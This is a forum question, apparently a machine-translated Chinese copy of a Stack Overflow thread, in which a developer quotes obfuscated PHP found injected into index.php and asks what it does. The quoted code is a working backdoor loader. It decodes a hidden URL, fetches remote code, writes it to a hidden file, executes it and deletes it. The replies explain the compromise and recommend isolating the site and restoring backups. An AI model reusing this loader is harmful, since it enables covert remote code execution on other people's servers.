2016-08-03 28 views
1

作为我的服务器上没有其他人有权访问它的唯一开发人员,我很想知道黑客是否可以以某种方式写入PHP文件?我在我的index.php的顶部遇到了这段PHP代码,这是我不熟悉的,并没有把它放在那里。我不知道该怎么做,或者他们的尝试是什么,有点担心。任何意见表示感谢你。注入黑客php利用信息

<?php 
@ini_set('display_errors', '0'); 
error_reporting(0); 
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; 
$pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH"; 
if (ini_get('allow_url_fopen')) { 
    function get_data_ya($url) { 
     $data = file_get_contents($url); 
     return $data; 
    } 
} 
else { 
    function get_data_ya($url) { 
     $ch = curl_init(); 
     curl_setopt($ch, CURLOPT_HEADER, 0); 
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
     curl_setopt($ch, CURLOPT_URL, $url); 
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); 
     $data = curl_exec($ch); 
     curl_close($ch); 
     return $data; 
    } 
} 
function wp_cd($fd, $fa="") 
{ 
    $fe = "wp_frmfunct"; 
    $len = strlen($fd); 
    $ff = ''; 
    $n = $len>100 ? 8 : 2; 
    while(strlen($ff)<$len) 
    { 
     $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); 
    } 
    return $fd^$ff; 
} 
$reqw = $ay($ao($oa("$pass"), 'wp_function')); 
preg_match('#gogo(.*)enen#is', $reqw, $mtchs); 
$dirs = glob("*", GLOB_ONLYDIR); 
foreach ($dirs as $dira) { 
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } 
    $subdirs = glob("$dira/*", GLOB_ONLYDIR); 
    foreach ($subdirs as $subdira) { 
     if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } 
    } 
} 
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } 
fwrite($hdl, "<?php\n$mtchs[1]\n?>"); 
fclose($hdl); 
include("{$eb}.$algo"); 
unlink("{$eb}.$algo"); 
?> 
+3

它看起来像您的服务器已被入侵。它也看起来像代码循环通过一些目录,并试图写在一些文件的东西在那里。我会先恢复备份并安装最新的更新。 – sietse85

+1

它看起来像你已经安装了wordpress并安装了一个被盗用的插件或badboy插件:) – Bobot

回答

1

我会隔离你的网站,直到你能找到黑客如何获得访问权。然后解决这个问题。如果以前的安全漏洞依然存在,删除他的代码不会阻止他回来。它可能来自一些不安全的wordpress插件。

关于黑客代码,它似乎从任意网址抓取并写入您的服务器。